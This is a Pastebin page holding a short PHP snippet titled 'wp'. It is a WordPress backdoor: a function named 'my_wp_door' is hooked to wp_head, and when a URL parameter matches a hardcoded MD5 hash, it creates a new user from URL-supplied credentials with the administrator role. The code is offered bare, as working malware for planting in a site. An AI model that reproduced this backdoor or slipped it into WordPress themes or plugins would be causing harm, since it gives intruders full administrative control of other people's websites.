Advertisement
mathio3

wp

Jan 16th, 2019
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.62 KB | None | 0 0
  1. <?php
  2. //by = 109 097 116 104 105 111 046 100 122
  3. add_action( 'wp_head', 'my_wp_door' );
  4. function my_wp_door() {
  5.         if ( md5( $_GET['mathio'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) {
  6.                 require( 'wp-includes/registration.php' );
  7.                 if ( !username_exists($_GET['username'])) {
  8.                         $user_id = wp_create_user($_GET['username'], $_GET['password']);
  9.                         $user = new WP_User( $user_id );
  10.                         $user->set_role( 'administrator' );
  11.                 } else {
  12.                         die("User already exists...");
  13.                 }
  14.         }
  15. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement